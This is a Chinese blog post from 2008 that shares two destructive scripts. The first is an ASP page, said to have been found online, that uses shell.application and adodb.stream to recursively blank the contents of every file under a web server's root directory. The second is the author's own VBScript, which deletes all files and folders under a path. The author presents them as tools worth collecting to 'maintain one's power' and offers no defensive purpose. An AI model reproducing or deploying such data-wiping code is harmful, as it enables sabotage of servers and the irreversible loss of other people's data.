内容显示页
 
类别:ASP+VBS | 浏览(145) | 2008-1-14 22:34:44 | 关闭广告

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
    Call listfile(server.mappath("./"))
    response.Write"处理完毕"
Else
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If

Function listfile(fpath)
    On Error Resume Next
    Dim Shell, Folder, s
    Set Shell = server.CreateObject ("shell.application")
    Set Folder = Shell.namespace(fpath)
    Set f = server.CreateObject("adodb.stream")
    f.Type = 1
    f.Open
    For Each s in Folder.Items
        If s.isfolder Then
            Call listfile(s.Path)
        Else
            f.savetofile s.Path, 2
        End If
    Next
    Set f = Nothing
    Set Shell = Nothing
End Function

以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:

'看到文件删文件,看到文件夹删除文件夹
Function FilesTree(sPath)
    Set oFso = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFso.GetFolder(sPath)
    Set oSubFolders = oFolder.SubFolders
    
    Set oFiles = oFolder.Files
    For Each oFile In oFiles
        'WScript.Echo oFile.Path
        oFile.Delete
    Next
    
    For Each oSubFolder In oSubFolders
        'WScript.Echo oSubFolder.Path
        oSubFolder.Delete
        'FilesTree(oSubFolder.Path)'递归
    Next
    
    Set oFolder = Nothing
    Set oSubFolders = Nothing
    Set oFso = Nothing
End Function

FilesTree("F:\deltest\deltest") '遍历


引用本页地址:http://www.yongfa365.com/item/VBS-Po-Huai-Xing-Ying-Yong.html
 
 
相关链接
 
网友评论:
姓名: 记住我
网址:
邮箱:
内容:
验证码:  验证码图片看不清? 换张图试试
 
   
 
 
文章分类
 
   

Power by :柳永法(yongfa365)'Blog | Model by :hibaidu | CSS by:众网友 | 京ICP备07011491号  QQ:64049027  E-mail:64049027qq.com

本空间赞助商:北京中科兴联信息技术有限公司